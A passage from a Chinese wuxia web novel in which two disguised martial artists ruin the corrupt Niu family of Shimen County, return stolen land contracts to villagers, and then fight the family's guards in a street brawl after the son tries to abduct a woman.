等到了歹人所说的最后期限这一日,牛永志不仅将所有仆人和护院都叫来围住自己和夫人,还提前与许项毅说好了,借了十来个官兵来。
一群人从早上就开始紧张,但白天一整天都没人来,他想着这歹人应是还想晚上来。
天越黑,他越害怕,虽然困得要死,但也死撑着不敢睡,生怕自己睡着了就醒不来了。
眼见着天都开始亮了,众人纷纷面带困惑地看着牛永志,一群人严阵以待了一天一/夜,也没见半个人影和半点动静。
江元郁开口道:“牛老爷,这……您莫不是得了假消息?”
牛永志也十分不解,这一晚上害怕得不敢睡觉,此时脑子昏昏涨涨的:“不能啊,那字条上说的七日内,昨晚上就是最后一天了,难道意思是第八天,是今天晚上?”
“但听牛老爷吩咐。”
“那就麻烦二位今晚再守一晚,昨天一天都没休息,这样吧,今天白天你们俩轮流休息,留一人在我这儿,等戌时再一起守,可好。”牛永志心知还得靠着两人,对着两人好言好语,态度极为谦卑。
柳大海得了牛永志的吩咐,将仆人和护院们也分批放下去休息了,至于衙役们,他亲自跟着去了趟衙门,请知县换了一批人过来继续守着。
牛永志躺床上,他从来没有这么久没睡觉,困得太阳穴直突突,但此事一直没有结束,他根本睡不踏实。
身旁已经传来夫人熟睡的呼吸声,但他脑子却根本停不下来,到底是日期算错了,还是歹人发现了家里备了两名高手不敢再来,又或是这歹人另有计划。
也不知什么时候睡着的,下人将他们叫
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醒的时候,外面的光线已十分昏暗。
他蹭的一下坐起来,又觉得脑袋晕,缓了缓,才听下人禀报,目前一切正常。
又是一晚惊惧交加下的没合眼,牛永志只觉得自己魂儿都快飘了。
他听见江元郁的声音传来:“牛老爷,按我们的约定,该守的时间我们已经守过了,但如今这情况,那人怕是不会来了,我们二人也该走了。”
牛永志此时眼睛里布满了红血丝,声音也带了些虚弱,但他觉得这两位高手或许就是他的倚仗:“慢着,两位大侠,可否长期护卫我牛宅的安全。”
“牛某可以加钱!”
“抱歉,牛老爷,这不是钱的事。我兄弟二人此行还有事情未处理,耽搁这几天无碍,但不能一直待在这里,还请牛老爷见谅。”江元郁抱拳回道。
“两位别急,价格好说价格好说,六千两,不!七千两,如何?几位再护我牛府三日可好。”牛永志怕了,急忙开口道。
孟归芸站出来,满脸都写着对不住:“抱歉,并非我们不愿,这几日牛老爷待我们如何,我们都看在眼里,我们也不是知恩不报之人,但这真不是钱的事,我们确有要事。”等着吧,后面还给你准备了惊喜呢。
牛永志心知留不下他们,但也不愿结怨:“管家,再给两位大侠各拿五百两银票。”
孟归芸一脸正色,连连摆手:“使不得使不得,牛老爷,这两日您待我们已是极好了。”
牛永志十分大方,面上带了些豪气:“诶,两位大侠就不必再推脱了,麻烦两位大侠多守了一晚,这是应该的。之后有我牛某能帮得上忙的,尽管来找我,若是二位将来还愿意来我府上,我定以贵客之礼相待。”
牛永志一边担心那歹人会不会看两位高手走了,就又来了,一边支撑不住昏睡了过去。
迷迷糊糊又听见有人在叫他:“老爷。”
睁开眼一看是管家,一脸着急的样子,心里的火又起来了,叫叫叫,一天到晚就没好事儿:“怎么了又!”
“老爷,您看,这是李老爷派人送来的借条……”
牛永志看清了,这正是他丢失的契约的其中一张,这才坐起来:“怎么在他那儿?”
“哎呀,老爷,李老爷说各家都收到了原来与我们签的契约。”
牛永志这才明白过来,那歹人将将石门县都摸熟了,然后把契约挨个送回了签定人的手上,但李泉这人,向来有些迂腐,这等占便宜之事他是不屑去做的,这借条也就还回来了。
但他的其他契约呢?为了避税,他有许多契约都没去官府备案,许项毅拿了钱也就睁一只眼闭一只眼,但契约一旦在那些人手上,大概率就追不回来了啊!
这损失可不止是歹人拿走的财物、甚至十万两那么简单,一想到他的各项资产一团混乱,损失不计其数,还有可能倒欠银两,他就感觉气血噌噌地往上涌。
牛永志只觉得口中一腥,两眼一黑,他便晕了过去。
只剩管家在一旁慌乱地叫着仆人。
30. 铁河沟村(六)
这两日石门县热闹得很,到处都在讨论牛府丢了契约的事。更有消息灵通的,还知道牛府最近惹上了歹人,也不知是哪里传出来的。
至少莲夏说这事儿和她没关系。
收到契约的,有之前跟牛府有生意往来的、有找牛府借钱求着办事儿的,种种契书契约,来源纷杂。可这收到契约之后的做法,却也可见众生百相。
为人正直的,收到契约后直接就送回了牛府。
也有想眛下或者直接烧毁,当做没这回事,但又惧怕牛府势力的人,思索再三也把契约送回了牛府。
更多的则是持观望态度的人,毕竟从这事儿发生以后,牛永志还没露过面,连牛家大宅都没出过。不知道是真出了什么大事,连契约都顾不上了,还是另有想法有恃无恐。
如今这事儿虽说只是针对牛永志一家,但牵动的却是整个石门县的心神。
有脑子活络的老板联想到之前牛永志找他们借钱的事儿,于是几人聚在一起,猜这次牛永志还能不能挺过去,可是讨论了半天也没得出什么结果,最终还是只有四个字,静观其变。
但如那铁河沟村的村民等人,收到这些契约连忙就毁掉了。
马大娘高兴得专门去县城买了两斤瓜子,回到村里给各家各户分上来一些。有第一个带头的,其他家也是有样学样,家里有啥多的东西都拿出来大家伙分着吃,跟要过年似的。
最后还是老成持重的村长出来说了句话,让大伙都沉住气,众人这才又开始忙活地里的事儿。
原先村民们虽然找了彭秀才帮忙,可心里也知道,这事儿彭秀才虽愿意帮忙,可毕竟如今还没入朝为官,家里也没什么背景,这田多半还是保不住。
于是一是没了耕田的心思,耕了也是给别人耕,二是要先把命给保住,不能饿死了,去做了别的活计后,这地也就没管了。
但这契约毁了,田就又回到了各家手上,那众人死去的心就又都活了过来。几乎各家都是全家出动,除草、犁田、磡垄...开始准备下一次的耕种了,四处都是辛勤劳作的村民,精气神和之前大不一样。
“这百姓,就指着这几亩薄田活着呢。”出来这么久,很少会主动说话的宏安感慨道。
江元郁、孟归芸望着铁河沟劳作的百姓,颇有感慨。
几人回到客栈后,江元郁把村里的情况告诉了彭言。
彭言的腿现已好了大半,听闻这消息后激动得再也坐不住。
“太好了,我恨不能现在就去村里看看他们开心的样子!”彭言一瘸一拐的向外走去。
“快坐下吧,你这腿刚好些,别又摔着了。”江元郁看着他满脸的激动,半天又走不了几步的样子,也有点好笑,又扶着彭言坐了回来,忍不住也咧开嘴笑。
彭言按捺住激动的心情,整理了一番衣着,重新站起来,朝着江元郁二人肃然躬身,道:“彭某代铁河沟村的村民,谢过几位!”
江元郁一愣,像是没有料到彭言居然会知道是他们所为,于是把目光挪向了孟归芸。
孟归芸见状也不特意遮掩,她相信彭言是能守口之人,站起身,扶着彭言重新坐下,也表情郑重地道:“彭兄言重了。”
彭言摇摇头,道:“可能对于几位而言这是一件小事,但对于铁河沟村的村民甚至其他石门县的村民而言,几位的恩德不亚于救命之恩。我也知几位不求名利,但这一声谢肯定是要的。”
江元郁再度看向孟归芸,此番全盘都是她的计谋,自己只是调动了一些势力和资源而已。
孟归芸知道江元郁道意思,摇了摇头,虽说此次计划是自己提出,但师兄不仅配合她演了好些场戏,也调动了自己的人马,还帮着给自己的计划查漏补缺。
江元郁明白她摇头意味着什么,心知她又将自己的功劳看低了去,且不说她能将各个环节设置得环环相扣,就这番为平民百姓和彭言考虑的心,已十分难得。
况且她还给牛永志留了后手,防止他再兴风作浪。
江元郁于是开口道:“那就让舍妹来当这一声谢吧。”
“蒋兄,你要这样说的话,劳烦您再扶我起来,我再单独谢一次蒋姑娘。”彭言难得的开了次玩笑,引得众人同时大笑。
“哈哈哈哈。”
半个月前,醉欢楼新来个美人儿,那叫一个风情万种,眉目含情,听说还是处子之身。
牛飞扬见到的第一眼就决定要了她,当即便拿钱包了她的场,天天醉生梦死,别说家在哪儿,怕是连自己姓什么都快忘了
这天正睡着却被人叫醒,牛飞扬一肚子火气:“谁啊,敢打扰本少爷,你不想活了啊。”
“少爷,家里出事儿了,您快回去看看吧……”小厮愁眉苦脸的,这是个苦差事,但他年纪轻,又是后来的,这等不落好的事总派在他头上。
看看这满地的衣裳酒杯,帐幔和床单凌乱的,哎哟,不忍直视,小厮双眼只能紧紧盯着自己的鞋。
牛飞扬打小就知道自己家里有钱,背后又有大人物撑腰,这还没听说过出事儿,当下都有点拿不准,是不是父亲骗他回去呢?他知道自己这次是有点过分,近半个月没回家了吧。
想到这里,他一边穿衣裳一边问小厮:“真出事儿了?能有什么事儿非得我回去。”
小厮低着头:“少爷,真出事了。小的不敢乱说,您回家就知道了。”
牛飞扬喝多了酒,此刻手有些不听使唤,系带子半天系不上,这才想起了跟他一起出来的小厮,便问道:“阿昌呢?”
“奴才刚才来的时候问过这里的人了,他们说还在下面睡着。”小厮都不好意思说,这主仆俩一个模子,他房间里也睡着女人呢,估计是喝太多,摇都摇不醒,他只能自己上来叫了。
“那你还杵在这里做什么,去把他叫醒啊!”牛飞扬没好气地从地上捡起鞋子就朝着小厮身上丢过去。
这小厮怎么回事,一点都不机灵,跟阿昌差太远了,阿昌还知道每个月去乡下溜达溜达,替少爷我找找乐子。
牛飞扬回身将那妓子叫醒,让她给自己穿衣。
小厮只好又下去叫阿昌,实在是没办法,只好朝他脸上泼了一
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杯冷茶,阿昌这才迷迷糊糊地醒了,但眼睛还不受控制的转着,叫了许久才清醒一点。
牛飞扬带着两个小厮刚往出走去,还未上马车,就瞥见路对面一位姿态出众的女子路过,那女子上身着一件碧色折枝暗纹绞罗上衫,下穿湖绿色纱料百迭裙,微微透着里面的衬裙。
再看她面娇肤嫩,仪态大方,一看就不是普通人家的女子,只不知为何就她一人,见她面色有些微慌乱,微微仰起头朝着远方在找什么。
牛飞扬很肯定,这女子绝对不是这石门县里哪个权贵大户家里的。这一点牛永志倒是教得很好,哪些人惹不起,哪些人惹得起,必须拎得清。
既然这样,嘿嘿嘿,就让本少爷来一次救美人于危难之中吧。
想到这里,他连回家都不着急了。要是这女子是外县什么大户人家的,本少爷就让老爹去提亲,要是不是,那就更好办了。
牛飞扬挺了挺身子,抬步朝那女子走去,面带微笑:“这位小姐,不知是否遇到了难事,我是这石门县牛府的少爷,对此地最是熟悉。”
孟归芸看着牛飞扬脸上那努力装作正经,却总也掩不住那一份轻佻下作的脸,内心冷笑一声,但面上却是显得越发柔弱:“我……公子,我与婢女在这街上走失了,明明方才还在的……”
牛飞扬一见她轻蹙着眉头,一双杏眼里隐隐似有水光,再听她那轻盈若溪水叮咚的声音,带着微微的哭腔,心一下就被揪住了,恨不得立刻就将她按在怀里哄着。
“小姐莫急,敢问小姐是哪里人?来这石门县是作何事。这样我才能帮到小姐你。”
好啊,这是想摸我的底。
“小女子乃开宁府晴隆县贾家之人,来石门县投靠姑丈何家。”
牛飞扬心里略一思索,何家?石门县没有哪个大户人家姓何的。
脚下也不由得上前了两步,孟归芸一见他上前,便慌乱着退了几步,牛飞扬见她这般模样,心里更是痒痒:“小姐莫急,这是我的马车,不如你先上车,我带你去找你姑丈何家。”
“不可,我与公子尚不认识,如何能乘同一辆车。”孟归芸皱着眉头,“多谢公子,我还是自己去找吧。”
孟归芸便绕开他往旁边走了,牛飞扬甩开一旁叫他的小厮,追了上去。
他快跑几步上去,拦在了孟归芸面前:“姑娘,你看你一个人也不安全,要去哪里我送你吧,你婢女的事儿也包在我身上,肯定给你找回来。”
孟归芸面带害怕,双手捏着帕子:“真不用了公子,我自己能找到回去的路。”
这番模样惹得牛飞扬口水都咽了几下,他就喜欢这种柔弱的小娘子,眼见着孟归芸转个身又走了,步子中带着肉眼可见的慌乱,牛飞扬那满脑子的淫/虫再也控制不住,上前抓住了孟归芸的胳膊。
孟归芸一下就尖叫了起来,这一叫反而让牛飞扬有些兴奋了起来,路人纷纷停了下来看着这边,他也顾不得,反正在这石门县还没有他父亲摆不平的事。
何况这小娘子还不是石门县的人,强龙还能压得了地头蛇了不成?
31. 铁河沟村(七)
围观的人渐渐多了起来,阿昌不仅没理那小厮让他劝劝大少爷的话,反而还态度嚣张的驱赶起了周围的人。
“看什么看,我家少爷的热闹你们也敢看!赶紧走赶紧走,不然等我牛府的护院来了连你们一起打。”
四周的老百姓们摄于牛府的淫威,开始挪动脚步散开。见此情形,牛飞扬心里表扬了一番阿昌,又对自己或牛府具有如此震慑力而高兴,嘴里发出一阵狂笑。行事也显得更加大胆肆无忌惮,开始强拽着孟归芸往马车上拖。
孟归芸哪是他能轻易拖得动的,不过为了演好这场戏,不得不拖延点时间罢了。于是面上哭泣着,脚下却运起身法,双脚轻踩、左右挪移,似被拖着却实际没怎么离开原地。
听见孟归芸的哭声,围观有些善良的百姓又开始朝着几人处围了过来,众人默不作声,身形却又显得很坚定,逐渐的圈子越围越大,人也越来越多。
孟归芸看在眼里,双眼也多了些莫名的情绪。
那边牛飞扬看到众多百姓围住了自己,阿昌的威胁也不管用,一把松开孟归芸的左手,跳步到了马车里。不到半息又跳了出了,手里举着一支响箭。
“敢搅和本公子的好事!我看你们这些臭要饭的都是找死!”说着面色狰狞的转动了响箭的底部。
“咻!”响箭窜起十来丈高,一声巨响后,在空中形成了一副图案。
“等着吧!我牛府的护院马上就来了。等会有种的一个都别跑。”牛飞扬恶狠狠的朝着围成圈的众人喊道。
牛府的霸道整个县的百姓无人不知无人不晓,一时间围着的百姓也有些迟疑。有的干脆退了出去,也有的思索再三后坚定的留下。留下的众人还把人圈往里挤了挤。
“牛飞扬,你牛府再霸道也不能无视律法,在这青天/白日下强撸良家女子。老汉我年龄大了,没多少活头了,其他人怕你牛府,我不怕!”一名老叟越众而出,朝着牛飞扬喊道。
“好好好,我看你个糟老头子就是找死!本公子今天就成全你。”牛飞扬没想到自己发了信号弹之后众人不仅不散开,反而还敢进一步的跟自己对抗,气急败坏的道。
“阿昌!把这个糟老头给我往死里的打!”
“瞧好吧公子。”阿昌怪笑着,捏着拳头朝老叟走去,嘴里还骂骂咧咧。
人圈里走出几名中年男子,拦下了阿昌。阿昌恼羞成怒,一拳挥向了一个矮小点的男子,男子被打之后立马还击,一起的几名中年也加入了围殴中。
“丢他!”人圈里不知道是谁喊了一句,随即一些烂菜叶子朝着牛飞扬和马车飞去。一时间场面极为混乱。
“我大成国百姓,血性未失啊。”躲在人群中的江元郁感慨道,“你们盯紧点,牛府的人到了的时候,这场戏就差不多该结束了。”
“是!主子。”
那边牛府的护院在看到天空中的图案时,立马有人报给了柳大海,柳大海本想去禀报牛永志的,结果牛永志现在还没醒过来。
略一琢磨,柳大海便留下手底下一个亲信,让他去内屋想办法把牛永志叫醒并告知这事,自己带着二十几名护院匆匆赶往牛飞扬发信号的地方。
等柳大海赶到的时候,现场无比混乱。阿昌和几名中年男子在地上打成一团,牛飞扬一身的烂叶子跟从垃圾堆出来的一样,马车四周也被泼得不成样子。
可就算这样,牛飞扬都没有松开拽着孟归芸的右手,孟归芸居然被他护的挺好,身上一片烂菜叶子都没有。
搞得孟归芸都不知道说什么了。
“统统给我住手!”柳大海来不及多想,对着人群就是一声大吼。
可周围的百姓不知是打出了真火还是想趁着这次机会给牛府一点教训,根本就没人听柳大海的,反而几个大妈还把烂菜叶子朝着柳大海等人扔去。
“冲进去,救出公子!谁敢阻拦的,都给我狠狠得打!”柳大海也被激出了火气,本来最近就因为那歹人的事情,牛永志已经对他很不满,现在牛飞扬要是再出点啥事,怕是牛永志连宰了他的心都有了。
牛府的护院们得令后,纷纷从身后拿出短棍,四散开来朝着沿途围着的百姓身上抽去。
“不好!暗一你们跟我一起救人,拦下牛府的护院。”江元郁一见牛府众人竟然直接下狠手,也从藏身的街角处冲了出去,同时下令让身边的几名暗卫一起出动。
“是!”
不到几个呼吸,江元郁已经接近了牛府的众多护院处,有两名牛府护院见还有人敢往里面冲,径直把短棍朝着江元郁的头顶劈下。
江元郁倒是凭借身法闪了过去,两人的短棍连他的衣角都没沾到,可两人的行为却激怒了暗一等三名暗卫。
“找死!”暗一加快脚步,窜至了两名牛府护院的身前,双手快速挥舞,如穿花摘蝶般卸下两人手中的短棍,然后重重的击在他们前胸处,将两人打飞了出去,“凡是碰到主子身上的牛府护院,全部废掉!”
“我等省得。”另外两名暗卫回道,同时下手也变得更重,沿途碰到的牛府护院,都被几人下了重手,或是打断手脚,或是以错骨手挑了筋络,怕是得残一辈子。
江元郁没有管暗一几人,他相信自己手下的暗卫能轻松解决这些人,也知道如何把握轻重。再说了,牛府能够做下那么多恶事,牛永志牛飞扬等人是主谋不假,但这些护院有一个算一个都是助纣为虐、为虎作伥的货色,残一辈子都是对他们最大的宽容了。
那边孟归芸早就看到了牛府的护院殴打众多百姓,但她被群情激愤的百姓围在最中间保护着,就算想出去也不容易,毕竟这些百姓都是为了来救她的。
哪怕她说了自己会武功要去帮大家,也被两个和蔼的大妈拉着,还跟她说姑娘不要怕,我们石门县的老少爷们不会让她受到伤害的。
一时间让感动的孟归芸也只能先任由他们护着,好在随后就看到了江元郁几人冲了进来,而且牛府的护院也快速的被击倒在地,受伤的百姓逐渐少了起来,她才略微放下心来。
“妹妹,你没事吧?”江元郁终于冲到了内圈,却被几个汉子拦在外面,死活不让他靠近。江元
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郁也知道众人是好意,只能朝着里面喊道。
“哥,我没事,是大家伙救了我。”孟归芸垫了垫脚,也朝着外面喊道,“各位伯伯婶婶,他是我大哥,麻烦各位放我过去。”
听闻此言,围着的众多百姓才缓缓散开了一条路,两名大妈一左一右的护着孟归芸,让她走了出来。
“哥!”
“妹妹你没事,真的太好了。”
“哎呀,我一看就知道你们是亲兄妹,一个个的都长得这么好看。”左边的大妈一见江元郁的长相,立马信了。
江元郁和孟归芸虽有易容,但为了演这出戏,孟归芸需得扮作一位美人,江元郁也就往她兄长的方向易了容。
“啊,对对对!我这活了大半辈子,都没见过这么好看的人。”右边的大妈也是一脸震惊的样子。“这俩孩子真俊啊,更不能让牛家的这个臭小子给祸害了!”
“蒋某先谢过诸位的帮助,让我先去解决了牛府的人,再来好好感谢各位。”江元郁不敢说出自己的真姓,怕有人追踪他反而给百姓带来麻烦,但他真诚的朝着众人一抱拳感谢着。
“嗨,说这些谢不谢的干啥,这都是我们该做的。”
“对对,我们早看牛家的那些人不顺眼了。”
“可不!牛家的人这些年欺负了多少乡亲们,这是他们罪有应得。”
一时间在场的百姓众说纷纭,有大骂牛家的,有劝江元郁赶紧带着妹妹走的,当然还有像左右护/法大妈一样夸两人好看的,各说各的。
江元郁和孟归芸两人脸上都带着笑意回应众人的同时,眼神交互之间已经定好了下一步的行动。
是时候收拾牛飞扬,让他付出代价了。
那边牛飞扬和柳大海等人已经汇了合,本来按照柳大海的意思是赶紧回府,少生事端。但是牛飞扬从没吃过这么大的亏,衣服被扯破了不说,脸上不知挨了几拳,都有淤青了,再加上阿昌在那边煽风点火。
“柳大海!我今天不找回这个场子,以后石门县谁都会骑在我们牛府头上拉屎。”牛飞扬跳脚怒吼,“以后各家会说牛府连一些平头老百姓都对付不了。”
“那少爷您说怎么办?”柳大海无奈道。
“给我把那个小娘们抢回来!”牛飞扬目露凶光,朝着地上吐了一口血痰,“谁再敢阻拦,直接给我弄死他!”
“这,少爷...”柳大海震惊的抬起了头。
“你踏马给劳资去啊!以前又不是没弄死过人!”牛飞扬见柳大海还敢顶嘴,怒火再燃,一脚踢在柳大海腹部。
柳大海一时不查,被踹了一个趔趄,火也腾的一下升起。他自然不敢朝着牛飞扬发火,猛地一下抽出了刀,对着身边的几名护院喊道。
“去把那女子给少爷抢回来!敢阻拦的,直接弄死!”
几名护院也有点迟疑,却被柳大海用刀鞘重重的拍在后背,打得背部火辣辣的。
踏马的,出了事自然有牛家顶着。
几人如是想着,在柳大海的带领下朝着孟归芸等人处再度冲来。
32. 铁河沟村(八)
牛府,牛永志的卧房里。
牛永志昏迷了大半天,还没醒来。最近这几天,日夜担心那歹人真的前来闹事,取了全家性命,不敢睡得太深,结果到了约定的日子,谁曾想那歹人却没来,这不仅没有让牛永志放下心来,反而更是担忧。
再加上契约之事,牛永志吐血昏迷,面色肉眼可见的变差,像是突然间老了十岁不止,即便现在昏迷之中,眉头也是紧紧皱在一起。
牛夫人坐在床边一直抹着眼泪,嘴里不停的念叨着都怪那伙歹人,或是求菩萨保佑之类的话。
牛飞烨在一旁紧紧挨着牛婷婷,时不时望一眼牛永志,小脸上写满了担心,牛婷婷哄了他好久,他才笑了一下。
“现在什么时辰了?”牛永志用力撑着肥胖的身子,试图坐起来,虚弱地开口问道。
“爹!”
“老爷!”牛永志的声音让屋里的几人又惊又喜,终于醒过来了。牛夫人连忙伸手出扶着牛永志坐好靠在床头。
“牛飞扬呢?”牛永志环顾屋内,并没有见到牛飞扬的身影,心里有了不好的猜测,再度开口问道。
“飞扬他,还没回来。”牛夫人欲言又止,本想替牛飞扬打个掩护说已经回来了,但是又怕被牛老爷识破,想了想还是说了实话。
“混账东西!”牛永志太清楚自己的儿子是什么货色了,家里如今出了这么大的事,全城的人怕是都知道了。如今大儿子都还没回来,怕是窝在哪家青/楼妓/院里,玩的昏天黑地呢。
“管家!”想到这,牛永志朝着外面喊了一声。
早就在门外候着的管家赶紧进里内,叫了声老爷,还没来得及说其他的就被牛永志打断。
“你通知柳大海,带着人去把全县的青/楼妓/院都给我找一遍,今天一定要把牛飞扬给我带回来!”牛永志下令道。
“这...”管家支支吾吾。
“这什么?有什么就赶紧说,没别的就赶紧去把大少爷给我找回来。”牛永志本就心里不舒服,看到管家这模样更是无名火冒,猛地一拍床榻吼道。
“半柱香之前,大少爷遇到了危险发了响箭,柳大海已经带着人赶过去了。”管家连忙道。
“什么!发了响箭!那你还愣在这干什么!还不带上府上剩下的护卫赶去保护大少爷。”牛永志朝着管家怒吼,掀开被子就要下床,但本来就昏迷了这许久,也没吃东西,腿一软,差点跪下去,幸好被牛夫人扶住了。
“是,老爷。”管家见状躬身行了一礼,立马转身朝外跑去。
“给我穿衣服,我也要去现场。”牛永志内心极为不安,他感觉怕是真的要出大事了。
街道上一片混乱,地上一边躺着十几个被暗一他们废掉的牛府护卫,另一边也有几名被牛府护卫打倒在地的石门县百姓,倒是没有太大的伤势。
按理说牛府护卫对付这些普通老百姓是占尽了优势,一个个都会几手功夫,下手狠毒,加上膀大腰圆的,连力气怕是都强过百姓们不少。要不是江元郁及时带着暗卫出手,怕是在场的百姓都得遭老罪。
想到此处,孟归芸都想亲自出手替百姓们讨回点公道,毕竟这些人都是为了护着她一个外县来的陌生女孩。
可惜被江元郁拦下了,表示一切交给他来处理。在江元郁的心里,既然已经设计好了计谋,要用强抢民女这事给牛家一些深刻的教训,在没有什么大的变故之前就最好还是按照计划行事,这样他们才能更“占理”。
如此孟归芸也不再多说,看着江元郁独自走向被护卫们保护着的牛飞扬所在之处。
“你们是什么人,竟然敢当街强抢民女。”走到半途,江元郁停步,朝着提刀走来的牛府众人喝问。
“外地来的小子,我好心劝你一句,识相的乖乖把那小/妞供给少爷,让我们少爷满意了,不仅可以绕你们一命,说不定还能给你们一场富贵。”
柳大海之前的主要精力放在从人群中抢回牛飞扬身上,但是他毕竟是个练武之人,即便做不到眼观六路耳听八方的程度,可是也瞧见了江元郁运起身法窜进人群的那一幕,心知江元郁的功夫不低。
刚刚被牛飞扬一踹上了头,提着刀走了过来,但是走着走着脑子也清醒了过来,想着先诈唬一下对面,万一他们怕了,真把孟归芸送过来了呢。就算对面识破了,大不了再打过就是了。
“对。你小子识相点赶紧把那小/妞送过来,我们牛府可以大人不记小人过。”
“小子,你去打听打听,在这石门县得罪了我们牛府的,有几个有好下场。”
“我记得以前有个外地的过江龙得罪了我们少爷,最后手脚都被打断了,他跪在我们牛府门口求饶了三天三夜。还是老爷心好,放了他一马。”
柳大海旁边的护卫们也跟着帮腔道。
“呵,从未听过如此无/耻之言。”即使江元郁已经在民间历练了好几年,还是有点被气笑了,这柳大海一伙人属实是狗仗人势,这么多年借着牛府的名头不知干了多少坏事,现在竟然还敢大言不惭。
“外地小子,本大爷再劝你一次,不要不识抬举,不然等会真的动起手来,这刀剑是真的不长眼,砍得你小子爹妈都不认识。”柳大海挥舞着手里的大刀,威胁着说道。
“难道你们真的不怕我大成国的律法么?”江元郁打算给这伙人最后的机会,如果他们还敬畏律法,就留他们一命,废了就是,反之就随便处置了。
“哈哈哈哈,柳大哥,你看这小子多天真,现在还想着律法呢!”一个尖嘴猴腮的护卫笑得前俯后仰,好似听闻了什么笑话一般。
“小子,听好了,我们牛府就是这石门县的律法!”柳大海也是一阵狂笑之后装作正经的样子,对着江元郁说道。
“自寻死路。”江元郁闻言面色一冷,缓缓吐/出几个字。
“都给我上,废了这小子!”柳大海见状,刀尖指向江
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元郁下令道,“这小子应该有点功夫,全部给我下死手,砍死了自有牛府负责。”
几个呼吸间,牛府的几名护卫已经冲到了江元郁面前,而后散开围成了一个圈。几人都将上半身略微下压,双眼却是紧盯江元郁,脚下小碎步缓缓移动。
江元郁对众多护卫视若无睹,一直盯着远处的牛飞扬,目光炽热如火。
“都踏马愣着干啥!给本少爷砍死他!”牛飞扬被盯得如坐针毡,极为不舒服,朝着众人吼道。
听闻此言,位于江元郁背后的两名牛府护卫一左一右的冲了上来。两人互相掩护,脚步交错跳动,手中的大刀也是虚劈,估计是想让江元郁摸不准攻击的方向。
谁知江元郁仍是一动不动的样子。
“小子,去死吧!”江元郁的模样惹怒了两人,加快脚步来到江元郁身后,两人身形再度交错,左边的到了右边,右边的的到了左边,大刀高高举起,看动作竟是想将江元郁直接劈为两半。
电光火石之间,江元郁向后一仰,避开两人大刀的同时,双手捏拳直直击出,就见两名牛府护卫以比来时更快的速度朝着后边飞了出去,撞击到街边房屋之上,发出一声巨响。
两人嘴里吐/出大口的鲜血,怕是已经活不了多久了。
那两人攻击的同时,柳大海也跟着冲到了江元郁身前。
此人更是阴险,手中大刀居然是从下往上撩,想把江元郁从下身劈开。谁知江元郁向后仰倒击飞两人之后,竟似失去重量一般再度后倒,堪堪离地而已,再度避开了柳大海的撩阴刀。
趁着柳大海一愣,江元郁腰部发力,一个拧身,似旋转的陀螺一般从地上旋起,右腿如鞭,一下砸在了另一名刚冲到面前的牛府护卫身上。
咚的一声,那名护卫脸和身子直直的与地面来了个亲密接触,看地上快速渗出的血液,不是死了就是废了。
这可吓坏了其余的牛府护卫,以他们的见识,平时欺压下老百姓就不得了了,哪曾见到过如此功夫,前后不到五个呼吸,自己的同伴就没了三个。一时间都有些畏惧,愣在原地不敢上前。
他们不动了,可江元郁不会停。脚步挪移之间,已经到了一个死鱼眼护卫面前,看到江元郁的拳似要击向自己前胸,死鱼眼立马作势收刀于胸,想要逼迫江元郁放弃。谁知江元郁不避不让,先是打碎了刀身,拳劲还裹挟着碎刀片,一起击中了死鱼眼的前胸。
柳大海离死鱼眼很近,能清晰的见到死鱼眼的胸膛已经凹陷了进去,几片碎刀片直接穿胸而过,当场毙命。
“化劲!他竟然是化...”柳大海震惊的大喊,却没有看到一个碎裂的刀片在穿透死鱼眼身体的同时,径直朝着前方的牛飞扬下/体处飞去。
“啊!!!”牛飞扬惨叫声打断了柳大海的大喊,柳大海急忙转头一看,牛飞扬的下/体处正往外浸走鲜血,那鲜血的外涌速度之快,片刻间牛飞扬的白袍下半身已经被血染透。
33. 铁河沟村(九)
凄厉的惨叫把在场所有人都目光都吸引了过去。
柳大海看到牛飞扬下身那幅模样时,心里不由得晃过一个念头,怕是这大少爷废了啊。
连忙向着牛飞扬处跑去,全然不顾自己面对的是一个化劲高手。倒也不是他有多关心牛飞扬,而是他心里很清楚,这个陌生的年轻化劲高手,顶多就是打死自己,可要是牛飞扬真的出了事,自己一家老小怕是都得给牛飞扬陪葬。
“少爷!”柳大海冲至了牛飞扬身前,双手揽住牛飞扬的身子,将他缓缓的靠在半蹲着的阿昌身上,顾不得是在大庭广众之下,一把扯下了牛飞扬的下身丝制褶裤。
入目之处都是鲜血,连牛飞扬的大/腿两侧都已经都是。然而柳大海根本没空管那些血迹,粗暴的一手甩开牛飞扬自然垂下遮住了他视线的上衣,这一看让柳大海心都跌到了谷底。
牛飞扬□□一片血肉模糊,仿佛被利刃斩断一般。
柳大海心中再也没有侥幸,失去支撑一般向身后跌倒。
他知道牛飞扬完了,而他柳大海也完了。
就在柳大海查看牛飞扬伤势的同时,江元郁也没闲着,已经解决掉了剩下的牛府护院。众多的牛府护院横七竖八的躺在大街上,运气好点的还能出气,运气不好的已经是进气比出气少了。
江元郁站定在柳大海和牛飞扬身前两步的地方,道:“天作孽,犹可恕。自作孽,不可活。”
“你们牛府上下,从牛永志牛飞扬,到你们这些名为护院,实为打手的恶奴,在这石门县做了多少坏事,你们自己心里清楚,今天就是付出代价的时候。”
“都是你!都是你!”躺倒在地的柳大海听见江元郁的声音,噌的一下从地上跃起,顺手捡起身边的大刀,当头朝着江元郁劈去。
“哥!小心!”不远处的孟归芸从柳大海跃起时就发出惊呼,虽然她并不觉得那柳大海有伤到江元郁的本事,都也按耐不住的出声提醒。
“妹妹安心。”江元郁微拧身子,侧对着孟归芸一笑道。随即抢步上前,一指点在了柳大海的檀中穴处。
虽然江元郁这一指没有用太大的力气,也没有运用元气,但柳大海要穴受袭,还是让他呼吸一窒,身子不由得向后退了两步,刚好又踩在了牛飞扬的双/腿上。
“啊!!!”已经失血的快要昏厥牛飞扬再度发出一声惨叫,听起来居然声音还比较响亮。也是,换成普通人谁被柳大海这么一个魁梧大汉踩了腿,怕是都不好受。
这可不是我故意的。江元郁见状也有点小尴尬,他那一指纯粹是临战反应,没有故意再折磨牛飞扬的意思。
踩了牛飞扬双/腿的柳大海已经顾不得跟自家少爷道歉,都没向后再看一眼,站稳之后又是一刀朝着江元郁砍去。刀势大开大合,迅猛有力,又是只攻不守,状若搏命,倒是有了点暗劲高手的样子。
江元郁还是有点想在自家师妹面前表现一下的心思,也不打算受伤让师妹担心,所以一时间竟然和柳大海形成了僵持之势。
这武道一途就是如此,你武功再高,也怕菜刀。一人搏命,足惧千夫。怪不得以前师父宏安总跟自己说武功只有境界之分,没有高下之别。
